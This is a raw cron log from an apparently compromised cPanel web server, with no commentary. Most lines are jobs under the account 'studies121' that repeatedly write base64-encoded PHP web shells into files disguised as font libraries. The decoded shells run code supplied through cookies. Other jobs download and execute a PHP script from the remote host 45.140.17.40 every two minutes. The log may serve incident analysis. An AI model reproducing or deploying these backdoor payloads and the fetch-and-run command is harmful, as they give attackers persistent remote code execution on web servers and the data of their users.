Sep 20 14:56:01 ip-184-168-122-23 CROND[4027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:57:01 ip-184-168-122-23 CROND[4303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:57:01 ip-184-168-122-23 CROND[4302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:57:01 ip-184-168-122-23 CROND[4304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:57:01 ip-184-168-122-23 CROND[4307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:58:01 ip-184-168-122-23 CROND[4597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:58:01 ip-184-168-122-23 CROND[4599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:58:01 ip-184-168-122-23 CROND[4600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:58:01 ip-184-168-122-23 CROND[4602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:58:01 ip-184-168-122-23 CROND[4601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:59:01 ip-184-168-122-23 CROND[4935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:59:01 ip-184-168-122-23 CROND[4936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:59:01 ip-184-168-122-23 CROND[4938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:59:01 ip-184-168-122-23 CROND[4939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:00:01 ip-184-168-122-23 CROND[5172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:00:01 ip-184-168-122-23 CROND[5174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:00:01 ip-184-168-122-23 CROND[5179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:00:01 ip-184-168-122-23 CROND[5177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:00:01 ip-184-168-122-23 CROND[5182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:00:01 ip-184-168-122-23 CROND[5180]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 15:00:01 ip-184-168-122-23 CROND[5178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:00:01 ip-184-168-122-23 CROND[5183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:01:01 ip-184-168-122-23 CROND[5476]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 15:01:01 ip-184-168-122-23 CROND[5478]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 15:01:01 ip-184-168-122-23 CROND[5480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:01:01 ip-184-168-122-23 CROND[5482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:01:01 ip-184-168-122-23 CROND[5483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:01:01 ip-184-168-122-23 CROND[5481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5476]: starting 0anacron
Sep 20 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5499]: finished 0anacron
Sep 20 15:02:01 ip-184-168-122-23 CROND[5728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:02:01 ip-184-168-122-23 CROND[5730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:02:01 ip-184-168-122-23 CROND[5732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:02:01 ip-184-168-122-23 CROND[5734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:02:01 ip-184-168-122-23 CROND[5735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:03:01 ip-184-168-122-23 CROND[5989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:03:01 ip-184-168-122-23 CROND[5991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:03:01 ip-184-168-122-23 CROND[5992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:03:01 ip-184-168-122-23 CROND[5994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:04:01 ip-184-168-122-23 CROND[6278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:04:01 ip-184-168-122-23 CROND[6280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:04:01 ip-184-168-122-23 CROND[6282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:04:01 ip-184-168-122-23 CROND[6283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:04:01 ip-184-168-122-23 CROND[6285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:05:01 ip-184-168-122-23 CROND[6824]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 15:05:01 ip-184-168-122-23 CROND[6825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:05:01 ip-184-168-122-23 CROND[6831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:05:01 ip-184-168-122-23 CROND[6828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:05:01 ip-184-168-122-23 CROND[6830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:05:01 ip-184-168-122-23 CROND[6829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:05:01 ip-184-168-122-23 CROND[6832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:06:01 ip-184-168-122-23 CROND[7254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:06:01 ip-184-168-122-23 CROND[7256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:06:01 ip-184-168-122-23 CROND[7257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:06:01 ip-184-168-122-23 CROND[7260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:06:01 ip-184-168-122-23 CROND[7259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:07:01 ip-184-168-122-23 CROND[7679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:07:02 ip-184-168-122-23 CROND[7681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:07:02 ip-184-168-122-23 CROND[7683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:07:02 ip-184-168-122-23 CROND[7684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:08:01 ip-184-168-122-23 CROND[7978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:08:01 ip-184-168-122-23 CROND[7979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:08:01 ip-184-168-122-23 CROND[7981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:08:01 ip-184-168-122-23 CROND[7982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
